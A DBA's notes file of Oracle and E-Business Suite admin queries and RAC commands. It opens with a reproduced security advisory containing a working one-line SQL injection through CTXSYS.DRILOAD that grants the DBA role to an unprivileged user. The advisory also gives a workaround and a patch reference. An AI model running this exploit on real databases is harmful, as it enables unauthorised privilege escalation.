Systems Affected: are Oracle 8.i and Oracle9i on all platforms
Severity: High Risk
Category: SQL Injection
Details: Any valid database user can become DBA (if CTXSYS is installed) by executing the package DRILOAD by submitting a specially crafted parameter.
Oracle 10g and 11g are NOT affected.
Workarounds: Drop user CTXSYS (if not needed) or 'revoke public grant from CTXSYS.DRILOAD'.
Example: sqlplus scott/tiger@tnsname (or every other unprivileged user)
SQL> exec ctxsys.driload.validate_stmt('grant dba to scott');
BEGIN ctxsys.driload.validate_stmt('grant dba to scott'); END;
*
ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1
The above ORA- error is displayed but actually the dba role got granted to scott user.
Fix: On 8i and 9i database there is a patch available to fix this security vulnarability, Please see MetaLink document ID 281189.1 for the patch download procedures and for the Patch Availability Matrix for this Oracle Security Alert.
---->>>>rough<<<-----QUICK SQL<<<----
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM GV$SESSION WHERE USERNAME='XXHR';
select * from gv$session where client_identifier='ASAMI00123';
SELECT SID,SERIAL#,BLOCKING_SESSION,CLIENT_IDENTIFIER FROM GV$SESSION WHERE CLIENT_IDENTIFIER='ASAMI00123';
select 'ALTER SYSTEM KILL SESSION ' || '''' || SID || ',' || SERIAL# || ',@' || INST_ID || '''' || ' IMMEDIATE;' From gv$session where action like '%XXORACLE_HR_COMP_SUPPORT%';
SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
c.owner,
c.object_name,
c.object_type,
b.sid,
b.serial#,
b.status,
b.osuser,
b.machine
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id;
SELECT
b.action,
c.object_name,
c.object_type,
b.SID,
b.serial#,
c.owner,
c.object_name,
c.object_type,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name in
(select
c.object_name
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id);
SELECT
b.action,
b.SID,
b.serial#,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$session b
where action in (
SELECT
b.action
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name in
(select
c.object_name
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id));
select * From gv$session where action like '%PROPERTY%';
select * From gv$session where sid=10516 and serial#=39831;
SELECT SID, serial#,
ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)
) "Elapsed_Time P Exec",
ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1) / 60
) "Elapsed_Time P Exec Min",
audsid, blocking_session, se.client_identifier,event, se.sql_id, program, se.action,
username, machine, osuser, logon_time, executions, elapsed_time,
status, machine, se.module, sql_fulltext
FROM v$sql sq, v$session se
WHERE sq.sql_id = se.sql_id AND TYPE = 'USER' AND status = 'ACTIVE'
ORDER BY ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)) DESC;
SELECT gvh.inst_id Locking_Inst, round ( (gvs.seconds_in_wait/60),2) Mins_in_wait, gvh.sid Locking_Sid, gvs.serial# Locking_Serial, gvs.username,
gvs.status Status, gvs.module Module, gvw.inst_id Waiting_Inst, gvw.sid Waiter_Sid, gvs.CLIENT_IDENTIFIER,
decode(gvh.type, 'MR', 'Media_recovery',
'RT', 'Redo_thread',
'UN', 'User_name',
'TX', 'Transaction',
'TM', 'Dml',
'UL', 'PLSQL User_lock',
'DX', 'Distrted_Transaxion',
'CF', 'Control_file',
'IS', 'Instance_state',
'FS', 'File_set',
'IR', 'Instance_recovery',
'ST', 'Diskspace Transaction',
'IV', 'Libcache_invalidation',
'LS', 'LogStaartORswitch',
'RW', 'Row_wait',
'SQ', 'Sequence_no',
'TE', 'Extend_table',
'TT', 'Temp_table',
'Nothing-') Waiter_Lock_Type,
decode(gvw.request, 0, 'None',
1, 'NoLock',
2, 'Row-Share',
3, 'Row-Exclusive',
4, 'Share-Table',
5, 'Share-Row-Exclusive',
6, 'Exclusive',
'Nothing-') Waiter_Mode_Req ,
dobj.object_name,
'alter system kill session '|| '''' || gvh.sid || ',' || gvs.serial# || ''' immediate;' "Kill_Command"
FROM gv$lock gvh, gv$lock gvw, gv$session gvs, dba_objects dobj
WHERE (gvh.id1, gvh.id2) in (
SELECT id1, id2 FROM gv$lock WHERE request=0
INTERSECT
SELECT id1, id2 FROM gv$lock WHERE lmode=0)
AND gvh.id1=gvw.id1
AND gvh.id2=gvw.id2
AND gvh.request=0
AND gvw.lmode=0
AND gvh.sid=gvs.sid
AND gvh.inst_id=gvs.inst_id
AND gvs.ROW_WAIT_OBJ# = dobj.object_id;
select inst_ID, round( (seconds_in_wait/60),2 ) Wait_in_Mins, blocking_session, blocking_instance, sid, Serial#, user#, username, command, status,
schema#, schemaname, osuser, process, machine, terminal, program, type,
sql_id, sql_exec_start, module, action, client_info, logon_time,
client_identifier, blocking_session_status,
final_blocking_session_status, final_blocking_instance, final_blocking_session,
event, service_name
from gv$session where blocking_session is not NULL
order by blocking_session;
SELECT DECODE(request,0,'Holder: ','Waiter: ')||sid sess,inst_id,id1, id2, lmode, request, type FROM gV$LOCK
WHERE (id1, id2, type) IN (SELECT id1, id2, type FROM gV$LOCK WHERE request>0) ORDER BY id1,request;
select * From gv$session where sid=9796 and serial#=59779;
select * From gv$session where sid=1538;
alter system kill session '1538,40597,@2';
select * from gv$session where client_identifier='ASAMI00123';
SELECT SID,SERIAL#,BLOCKING_SESSION,CLIENT_IDENTIFIER FROM GV$SESSION WHERE CLIENT_IDENTIFIER='ASAMI00123';
lockED objects.
------------------------------------------------------
SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
c.owner,
c.object_name,
c.object_type,
b.sid,
b.serial#,
b.status,
b.osuser,
b.machine
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id;
*****************************************************************************
LOCKING SESSION, TABLE LOCKED
*****************************************************************************
SELECT
b.action,
c.object_name,
c.object_type,
b.SID,
b.serial#,
c.owner,
c.object_name,
c.object_type,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$locked_object a ,
v$session b,
dba_objects c
WHERE
b.SID = a.session_id
AND
a.object_id = c.object_id
and object_name like '%XXORACLE_FA_ACT_INFORMATION%';
SELECT
b.action,
b.SID,
b.serial#,
b.SID,
b.serial#,
b.status,
b.osuser,
b.machine
FROM
v$session b
where action like '&ACTION FROM PREVIOUS QUERY’;
alter system kill session '3393,1551,@1';
*****************************************************************************
Long Running SQLs
*****************************************************************************
SELECT SID, serial#,
ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)
) "Elapsed_Time P Exec",
ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1) / 60
) "Elapsed_Time P Exec Min",
audsid, blocking_session, se.client_identifier,event, se.sql_id, program, se.action,
username, machine, osuser, logon_time, executions, elapsed_time,
status, machine, se.module, sql_fulltext
FROM v$sql sq, v$session se
WHERE sq.sql_id = se.sql_id AND TYPE = 'USER' AND status = 'ACTIVE'
ORDER BY ROUND ((elapsed_time / 1000000) / REPLACE (executions, 0, 1)) DESC;
*****************************************************************************
How Many Conc Request By Node Name Detail
*****************************************************************************
SELECT sess.SID, sess.serial#, fcr.OUTFILE_NODE_NAME NODE,
fusr.description usern,
fcp.user_concurrent_program_name progname,
TO_CHAR (actual_start_date, 'DD-MON-YYYY HH24:MI:SS') startdate,
request_id requestid,
round((SYSDATE - actual_start_date) * 24 * 60 , 00 ) Elaps_Min
FROM fnd_concurrent_requests fcr,
fnd_concurrent_programs_tl fcp,
fnd_user fusr,
v$session sess
WHERE fcp.concurrent_program_id = fcr.concurrent_program_id
AND fcr.program_application_id = fcp.application_id
AND fcp.LANGUAGE = 'US'
AND fcr.phase_code = 'R'
AND fcr.status_code = 'R'
AND fcr.requested_by = fusr.user_id
AND fcr.oracle_session_id = sess.audsid(+)
ORDER BY 5 DESC ;
******************************************************** ********************
Concurant programs running Time details
*****************************************************************************
select REQUEST_ID,ACTUAL_START_DATE,REQUESTOR,USER_CONCURRENT_PROGRAM_NAME,
trunc((sysdate - actual_start_date) * 24, 2) "Time_hours",printer,ARGUMENT_TEXT
from FND_CONC_REQ_SUMMARY_V
where STATUS_CODE ='R'
and PHASE_CODE ='R'
order by 5 desc;
*****************************************************************************
LOCKS SCript in RAC
*****************************************************************************
SELECT gvh.inst_id Locking_Inst, round ( (gvs.seconds_in_wait/60),2) Mins_in_wait, gvh.sid Locking_Sid, gvs.serial# Locking_Serial, gvs.username,
gvs.status Status, gvs.module Module, gvw.inst_id Waiting_Inst, gvw.sid Waiter_Sid, gvs.CLIENT_IDENTIFIER,
decode(gvh.type, 'MR', 'Media_recovery',
'RT', 'Redo_thread',
'UN', 'User_name',
'TX', 'Transaction',
'TM', 'Dml',
'UL', 'PLSQL User_lock',
'DX', 'Distrted_Transaxion',
'CF', 'Control_file',
'IS', 'Instance_state',
'FS', 'File_set',
'IR', 'Instance_recovery',
'ST', 'Diskspace Transaction',
'IV', 'Libcache_invalidation',
'LS', 'LogStaartORswitch',
'RW', 'Row_wait',
'SQ', 'Sequence_no',
'TE', 'Extend_table',
'TT', 'Temp_table',
'Nothing-') Waiter_Lock_Type,
decode(gvw.request, 0, 'None',
1, 'NoLock',
2, 'Row-Share',
3, 'Row-Exclusive',
4, 'Share-Table',
5, 'Share-Row-Exclusive',
6, 'Exclusive',
'Nothing-') Waiter_Mode_Req ,
dobj.object_name,
'alter system kill session '|| '''' || gvh.sid || ',' || gvs.serial# || ''' immediate;' "Kill_Command"
FROM gv$lock gvh, gv$lock gvw, gv$session gvs, dba_objects dobj
WHERE (gvh.id1, gvh.id2) in (
SELECT id1, id2 FROM gv$lock WHERE request=0
INTERSECT
SELECT id1, id2 FROM gv$lock WHERE lmode=0)
AND gvh.id1=gvw.id1
AND gvh.id2=gvw.id2
AND gvh.request=0
AND gvw.lmode=0
AND gvh.sid=gvs.sid
AND gvh.inst_id=gvs.inst_id
AND gvs.ROW_WAIT_OBJ# = dobj.object_id;
*****************************************************************************
Blocking sessions
*****************************************************************************
select inst_ID, round( (seconds_in_wait/60),2 ) Wait_in_Mins, blocking_session, blocking_instance, sid, Serial#, user#, username, command, status,
schema#, schemaname, osuser, process, machine, terminal, program, type,
sql_id, sql_exec_start, module, action, client_info, logon_time,
client_identifier, blocking_session_status,
final_blocking_session_status, final_blocking_instance, final_blocking_session,
event, service_name
from gv$session where blocking_session is not NULL
order by blocking_session;
SELECT DECODE(request,0,'Holder: ','Waiter: ')||sid sess,inst_id,id1, id2, lmode, request, type FROM gV$LOCK
WHERE (id1, id2, type) IN (SELECT id1, id2, type FROM gV$LOCK WHERE request>0) ORDER BY id1,request;
*****************************************************************************
PGA Usage as per Node
*****************************************************************************
SELECT p.spid,
p.pid,
s.sid,
s.serial#,
S.STATUS,
s.machine,
s.process,
TRUNC((P.PGA_ALLOC_MEM/ 1024 / 1024),2) PGA_ALLOC_MEM,
trunc((p.PGA_USED_MEM/ 1024 / 1024),2) PGA_USED_MEM,
s.username,
s.osuser,s.lOGON_TIME,
s.program,s.module,
s.client_identifier
FROM v$process p,v$session s
WHERE s.paddr ( + ) = p.addr
and P.BACKGROUND is null
--and S.ACTION like '%AHL_JAVA%'
/* Comment out this line if need to monitor background processes */
order by P.PGA_ALLOC_MEM desc;
*****************************************************************************
sql check
*****************************************************************************
select * from v$sqlarea where sql_id='5hkc1cus1xcxu';
*****************************************************************************
To see all the pending / Running requests per each manager wise
*****************************************************************************
SELECT request_id, phase_code, status_code, user_name,
user_concurrent_queue_name
FROM apps.fnd_concurrent_worker_requests cwr,
apps.fnd_concurrent_queues_tl cq,
apps.fnd_user fu
WHERE (cwr.phase_code = 'P' OR cwr.phase_code = 'R')
AND cwr.hold_flag != 'Y'
AND cwr.requested_start_date <= SYSDATE
AND cwr.concurrent_queue_id = cq.concurrent_queue_id
AND cwr.queue_application_id = cq.application_id
AND cq.LANGUAGE = 'US'
AND cwr.requested_by = fu.user_id
ORDER BY 5
*****************************************************************************
A List of pending Jobs waiting for managers:
*****************************************************************************
SELECT b.USER_CONCURRENT_QUEUE_NAME , count(*)
FROM apps.FND_CONCURRENT_WORKER_REQUESTS a,apps.FND_CONCURRENT_QUEUES_VL b
WHERE (Phase_Code = 'P' ) and a.hold_flag != 'Y'
and a.Requested_Start_Date <= SYSDATE
AND ('' IS NULL OR ('' = 'B' AND PHASE_CODE = 'R' AND
STATUS_CODE IN ('I'))) and a.CONCURRENT_QUEUE_ID!=1003
and a.CONCURRENT_QUEUE_ID=b.CONCURRENT_QUEUE_ID
group by b.USER_CONCURRENT_QUEUE_NAME ,status_code;
*****************************************************************************
Listing users having Sysadmin Responsibility
*****************************************************************************
SELECT a.user_id, b.user_name
FROM fnd_user_resp_groups a, fnd_user b
WHERE a.user_id = b.user_id AND responsibility_id = 20420
ORDER BY 1;
*****************************************************************************
List of Responsibilities for particular user *****************************************************************************
select fu.user_name, fr.responsibility_name, furg.START_DATE, furg.END_DATE
from APPS.fnd_user_resp_groups_direct furg, APPS.fnd_user fu, APPS.fnd_responsibility_tl fr
where fu.user_name IN upper('USER_NAME') and furg.user_id = fu.user_id
and furg.responsibility_id = fr.responsibility_id and fr.language = userenv('LANG');
*****************************************************************************
Concurrent Request Ran in Past 1 one hour
*****************************************************************************
select REQUEST_ID,REQUESTOR,
to_char(ACTUAL_START_DATE,'hh24:mi dd-MON-yyyy') started,
to_char(ACTUAL_COMPLETION_DATE,'hh24:mi dd-MON-yyyy') completed,
to_char(((((ACTUAL_COMPLETION_DATE-ACTUAL_START_DATE)*24*60*60)/60)/60),'99D99') duration,
sysdate,PROGRAM
from FND_CONC_REQ_SUMMARY_V,dual
where PHASE_CODE='C'
and REQUESTOR <> 'SYSADMIN'
--and to_date(ACTUAL_COMPLETION_DATE) between to_date(sysdate-1/24) and to_date(sysdate)
and ACTUAL_COMPLETION_DATE > sysdate-1/24
-- SYSDATE - 10/1440
--An half hour from now SYSDATE - 1/48
--10 minutes from now SYSDATE - 10/1440
order by 4 desc;
*****************************************************************************
Top CPU
*****************************************************************************
select object_name, s.sid, s.serial#, p.spid
from v$locked_object l, dba_objects o, v$session s, v$process p
where l.object_id = o.object_id and l.session_id = s.sid and s.paddr = p.addr;
select vs.sid,vs.serial#,vs.username,vs.osuser,vs.machine,vs.program from v$session vs, v$process vp where vs.paddr = vp.addr
and vp.spid = &pid;
use the spid from the 1st query or the top cmd.
UNIX o/s cmd >> prstat -a -S rss
*****************************************************************************
WorkFlow
*****************************************************************************
select component_name, component_status, component_type from APPS.fnd_svc_components where component_name='Workflow Notification Mailer';
SELECT * FROM APPS.WF_NOTIFICATIONS WHERE MAIL_STATUS='MAIL' AND STATUS='CLOSED';
*****************************************************************************
Printer quees clear
*****************************************************************************
cat /etc/hosts|grep 10.21.*.* (It will list the printer is present r not)
lpc status printername
lpc disable printername
lpc enable printername
*****************************************************************************
*****************************************************************************
concurrent programs by name and run time FOR TODAY
SELECT r.REQUEST_ID,
DECODE(cptl.user_concurrent_program_name,
'Report Set', substr(r.description,1,40),
SUBSTR(cptl.user_concurrent_program_name,1,40)) pn,
q.concurrent_queue_name qn,
TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH:MI:SS') strttime,
TO_CHAR(ACTUAL_COMPLETION_DATE,'MM/DD/YY HH:MI:SS') endtime,
ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2) rtime,
r.completion_text compl_txt
FROM fnd_concurrent_requests r,
fnd_concurrent_processes p,
fnd_concurrent_programs cp,
fnd_concurrent_programs_tl cptl,
fnd_concurrent_queues q
WHERE p.concurrent_queue_id = q.concurrent_queue_id
AND p.queue_application_id = q.application_id
AND r.controlling_manager = p.concurrent_process_id
AND r.phase_code = 'C'
AND r.program_application_id = cp.application_id
AND r.concurrent_program_id = cp.concurrent_program_id
AND cp.application_id = cptl.application_id
AND cp.concurrent_program_id = cptl.concurrent_program_id
AND TRUNC(ACTUAL_START_DATE) = TO_DATE(UPPER(SYSDATE),'DD-MON-YY')
ORDER BY 2, 3, 4
/
*****************************************************************************
list concurrent manager utilization by hour FOR TODAY
SELECT
TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH24') rtime,
q.concurrent_queue_name qn,
COUNT(r.REQUEST_ID) cnt,
SUM(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) tott,
MIN(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) mint,
AVG(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) avgt,
MAX(ROUND((r.ACTUAL_COMPLETION_DATE - r.ACTUAL_START_DATE)*(60*24),2)) maxt,
AVG(ROUND((r.ACTUAL_START_DATE - r.REQUESTED_START_DATE)*(60*24),3)) avgd,
MAX(ROUND((r.ACTUAL_START_DATE - r.REQUESTED_START_DATE)*(60*24),3)) maxd
FROM fnd_concurrent_requests r,
fnd_concurrent_processes p,
fnd_concurrent_programs cp,
fnd_concurrent_queues q,
fnd_concurrent_programs_tl cptl
WHERE TRUNC(r.ACTUAL_START_DATE) = TO_DATE(UPPER(SYSDATE),'DD-MON-YY')
AND r.phase_code = 'C'
AND R.controlling_manager = P.concurrent_process_id
AND p.concurrent_queue_id = q.concurrent_queue_id
AND p.queue_application_id = q.application_id
AND r.program_application_id = cp.application_id
AND r.concurrent_program_id = cp.concurrent_program_id
AND cp.application_id = cptl.application_id
AND cp.concurrent_program_id = cptl.concurrent_program_id
GROUP BY
TO_CHAR(r.ACTUAL_START_DATE,'MM/DD/YY HH24'),
q.concurrent_queue_name
ORDER BY
rtime,
q.concurrent_queue_name
/
find the users who are consuming the TEMP TEMPORARY Tablespace
SELECT S.sid || ',' || S.serial# sid_serial, S.username, S.osuser, P.spid, S.module,
P.program, SUM (T.blocks) * TBS.block_size / 1024 / 1024 mb_used, T.tablespace,
COUNT(*) statements
FROM gv$sort_usage T, gv$session S, dba_tablespaces TBS, gv$process P
WHERE T.session_addr = S.saddr
AND S.paddr = P.addr
AND T.tablespace = TBS.tablespace_name
GROUP BY S.sid, S.serial#, S.username, S.osuser, P.spid, S.module,
P.program, TBS.block_size, T.tablespace
ORDER BY mb_used desc;
Check the waits
SELECT s.sql_id,
s.inst_id inst,
sw.SID,
s.serial#,
TO_CHAR (s.logon_time, 'hh:mi:ss AM - dd-mm-yy') TIME,
sw.seq#,
s.username,
sw.event,
sw.seconds_in_wait secs,
s.last_call_Et,
sw.state
FROM gv$session s,
gv$session_wait sw
WHERE s.username IS NOT NULL
AND s.username not in ('SYS','SYSTEM')
AND sw.SID = s.SID
AND s.inst_id = sw.inst_id
AND sw.event not like 'SQL%Net%'
AND sw.event not like 'PX%'
AND sw.event not like 'Streams%'
-- AND s.status = 'ACTIVE'
-- and sw.seconds_in_wait <>0
ORDER BY 2
-- order by sw.seconds_in_wait ASC
/
#############################
#############################
#############################
#############################
Note:
It is Oracle's Best Practise to have an OCR mirror stored in a second disk group. To follow this
recommendation add an OCR mirror. Mind that you can only have one OCR in a diskgroup
1. To add OCR mirror to an Oracle ASM disk group, ensure that the Oracle Clusterware stack is running and run the following command as administrator:
2. D:\OraGrid\BIN>ocrconfig -add +DBFLASH
3. D:\OraGrid\BIN>ocrcheck -config
#oracleasm listdisks
/etc/init.d/oracleasm listdisks
#crsctl query css votedisk
srvctl config scan
%GI_HOME%\bin\crsctl stat res -t
crsctl stat res myApache -t
11gr2
------
crsctl check cluster [-all | [-n server_name [...]]
•crsctl check cluster
•crsctl start cluster
•crsctl stop cluster
crsctl check css
crsctl status resource
srvctl start database -d orcl -o mount/nomount
srvctl stop database -d orcl -o immediate/transactional/normal/abort
srvctl start instance -d orcl -i orcl1 -o mount/nomount
srvctl start instance -d orcl -n rac1 -o mount/nomount
srvctl stop instance -d orcl -i orcl1 -o immediate/transactional/normal/abort
srvctl status database -d orcl
srvctl stop listener
srvctl stop asm -f
srvctl stop asm -n nodename
srvctl stop nodeapps -n node
crsctl stop crs
crsctl check crs
Follow the reverse sequence to start all processes in oracle RAC
# crsctl start crs
$ORACLE_HOME/bin/bin/srvctl start nodeapps -n node
$ORACLE_HOME/bin/bin/srvctl start asm -n node
$ORACLE_HOME/bin/srvctl start database -d db_name
crs_stat -t--->depricated so use,
%GI_HOME%\bin\crsctl stat res -t
http://www.oracleracexpert.com/2012/01/how-to-stop-and-start-processes-in.html
HEALTH CHECK
---------------
@?/rdbms/admin/spcreate
execute statspack.snap;
@?/rdbms/admin/spreport
---->>>>check time syncronisation
------>>>>>buffer cache hit ratio
SELECT ROUND((1-(phy.value / (cur.value + con.value)))*100,2) "Cache Hit Ratio"
FROM v$sysstat cur, v$sysstat con, v$sysstat phy
WHERE cur.name = 'db block gets'
AND con.name = 'consistent gets'
AND phy.name = 'physical reads'
SELECT * FROM DBA_REGISTRY;
sga_target, pga_aggregate_target, memory_target
select * from v$resource_limit;
SELECT PROPERTY_VALUE FROM DATABASE_PROPERTIES WHERE PROPERTY_NAME = 'DEFAULT_PERMANENT_TABLESPACE';
SELECT user_name username,
description name,
to_char(b.first_connect,'MM/DD/RR HH24:MI') firstconnect,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 4 DESC
/
SELECT * FROM V$DATABASE_BLOCK_CORRUPTION;
SELECT * FROM V$BACKUP_CORRUPTION;
SELECT * FROM V$DATAFILE WHERE UNRECOVERABLE_CHANGE#<>0;
SELECT * FROM V$DATAFILE WHERE STATUS IN ('OFFLINE','SYSOFF');
select status from v$instance;
select count(*) from dba_objects where status='INVALID';
SELECT TABLESPACE_NAME,SUM(BYTES)/1024/1024 "free space in MB" FROM DBA_FREE_SPACE GROUP BY TABLESPACe_NAME order by 2;
SELECT T.TS#,T.NAME,D.NAME,d.bytes/1024/1024 FROM V$TABLESPACE T, V$DATAFILE D WHERE T.TS#=D.TS#;
select opname,time_remaining from v$session_longops where time_remaining<>0;
select sid,serial#,user#,username,status,schemaname,osuser,machine,terminal,program,prev_exec_start,module,logon_time from v$session where MACHINE IN ('QIA\MAHMEDPC') order by logon_time
desc;
select sid,serial#,user#,username,status,schemaname,osuser,machine,terminal,program,prev_exec_start,module,logon_time from v$session where MACHINE NOT IN ('prodapp','PRODDB','prodhrms','QIA
\PRODAPP','QIA\ABDULSAMIPC') order by logon_time desc;
==============================================
select sequence#,applied from v$archived_log;
select host_name,status from v$instance;
select message from v$dataguard_status;
==============================================
To Find Blocking Sessions in Database
select * from dba_blockers
To find the Languages Installed ??
select nls_language, language_code, installed_flag from apps.fnd_languages where installed_flag in (‘I’,'B’);
===================
To check the WF status from backend
check the status of Agent Listeners:
select fsc.COMPONENT_NAME,fsc.STARTUP_MODE,fsc.COMPONENT_STATUS
from APPS.FND_CONCURRENT_QUEUES_VL fcq, fnd_svc_components fsc
where fsc.concurrent_queue_id = fcq.concurrent_queue_id(+)
order by COMPONENT_STATUS , STARTUP_MODE , COMPONENT_NAME;
CURRENTLY WHICH SESSIONS ARE CONNECTED (EXCLUDING 'prodhrms','prodapp','PRODDB' AND MACHINE NOT LIKE '%PRODAPP%')
------------------------------------------------------------------------------------------------------------------
SELECT s.inst_id,
s.sid,
s.serial#,
p.spid,
s.username,
s.program,
s.module,
s.machine,
s.osuser,
s.prev_exec_start,
s.logon_time
FROM gv$session s
JOIN gv$process p ON p.addr = s.paddr AND p.inst_id = s.inst_id
WHERE s.type != 'BACKGROUND' and MACHINE NOT IN ('prodhrms','prodapp','PRODDB') AND MACHINE NOT LIKE '%PRODAPP%'
ORDER BY LOGON_TIME DESC;
HOW LARGE IS THE DATABASE
-------------------------
select round(sum(used.bytes) / 1024 / 1024 / 1024 ) || ' GB' "Database Size"
, round(sum(used.bytes) / 1024 / 1024 / 1024 ) -
round(free.p / 1024 / 1024 / 1024) || ' GB' "Used space"
, round(free.p / 1024 / 1024 / 1024) || ' GB' "Free space"
from (select bytes
from v$datafile
union all
select bytes
from v$tempfile
union all
select bytes
from v$log) used
, (select sum(bytes) as p
from dba_free_space) free
group by free.p
select owner,table_name,num_rows from dba_tables where num_rows is not null and num_rows>100000 order by num_rows desc;
SELECT NAME,BYTES/1024/1024 "size in MB" from v$datafile;
select t.name,d.name,d.bytes/1024/1024 from v$tablespace t, v$datafile d
where t.ts#=d.ts#;
select t.name,sum(d.bytes)/1024/1024 from v$tablespace t, v$datafile d where t.ts#=d.ts# group by t.name order by 2;
select name,unrecoverable_time,unrecoverable_change# from v$datafile;
select * from v$recovery_file_dest;
select name,value from v$parameter where value like '%/%';
SELECT PATCH_LEVEL FROM APPS.FND_PRODUCT_INSTALLATIONS WHERE PATCH_LEVEL LIKE '%AD%';
SELECT PATCH_LEVEL FROM APPS.FND_PRODUCT_INSTALLATIONS WHERE PATCH_LEVEL LIKE '%XTR%';
TO SEE THE USER CONNECTED AND WHAT RESPONSIBILITY HE IS USING
-------------------------------------------------------------
select distinct fu.user_name User_Name,fr.RESPONSIBILITY_KEY Responsibility
from fnd_user fu, fnd_responsibility fr, icx_sessions ic
where fu.user_id = ic.user_id AND
fr.responsibility_id = ic.responsibility_id AND
ic.disabled_flag='N' AND
ic.responsibility_id is not null AND
ic.last_connect like sysdate;
TO SEE WHO IS CONNECTED AND USING WHICH FORM AND RESPONSIBILITY
----------------------------------------------------------------
SELECT TIME, user_name, responsibility_name, user_form_name
FROM apps.fnd_form_sessions_v
ORDER BY 1;
Count concurrent users connected to Oracle Apps
-----------------------------------------------
select count(distinct d.user_name)
from apps.fnd_logins a, v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1);
Display names of Concurrent users connected to Oracle Apps
----------------------------------------------------------
select distinct d.user_name
from apps.fnd_logins a, v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1);
Can use this SQL statement to count concurrent_users in Oracle apps
-------------------------------------------------------------------
select count(distinct d.user_name) from apps.fnd_logins a,
v$session b, v$process c, apps.fnd_user d
where b.paddr = c.addr
and a.pid=c.pid
and a.spid = b.process
and d.user_id = a.user_id
and (d.user_name = 'USER_NAME' OR 1=1)
To see all forms users connection details like ip address etc
---------------------------------------------------------------
select * from fnd_oam_forms_rti;
Installing Oracle RAC 11g On Windows 2008 Service Pack 2 -64bit
For Oracle ASM 11g Release 2 (11.2.0.1), Oracle ACFS and Oracle ADVM(DYNAMIC VOLUME MANAGER) are supported only on Windows Server 2003 64-bit and Windows Server 2003 R2 64-bit. Starting with Oracle ASM 11g Release 2 (11.2.0.2), Oracle ACFS and Oracle ADVM are also supported on Windows Server 2008, x64 and Windows Server 2008 R2, x64.
---->RMAN VALIDATE DATABASE, LIST FAILURE, ADVISE FAILURE
------>>>>>>CHECK IF TEST AND DEV INSTANCES HAS SCRAMBLED DATA
----->>>>>ORA-00020: maximum number of processes (%s) exceeded
--->>>archive mode, rman backup
--->>STOP MSDTC SERVICE
-->v$fixed_view_definition, V$ASM_OPERATION
All RAC instance information.
-----------------------------
SELECT
instance_name || ' (' || instance_number || ')' instance_name
, thread#
, host_name
, status
, TO_CHAR(startup_time, 'DD-MON-YYYY HH:MI:SS') startup_time
, database_status
, archiver
, logins
, shutdown_pending
, active_state
, version
FROM
gv$instance
ORDER BY
instance_number;
Report of all disks contained within all ASM disk groups along with their performance metrics.
----------------------------------------------------------------------------------------------
SELECT
a.name disk_group_name
, b.path disk_path
, b.reads reads
, b.writes writes
, b.read_errs read_errs
, b.write_errs write_errs
, b.read_time read_time
, b.write_time write_time
, b.bytes_read bytes_read
, b.bytes_written bytes_written
FROM
v$asm_diskgroup a JOIN v$asm_disk b USING (group_number)
ORDER BY
a.name
/
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
MYDIAG.BAT
-------------------
set day=%date:~0,3%
set mm=%date:~4,2%
set dd=%date:~7,2%
set yy=%date:~-4%
set ORA_DIAG_CLINT=
set ORA_DIAG_OUPUT=sami.txt
set ORA_CRS_HOME_BIN=D:\app\user\product\11.1.0\db_1\BIN
set ORA_CRS_HOME=D:\app\user\product\11.1.0\db_1
set ORA_DB_HOME=D:\app\user\product\11.1.0\db_1
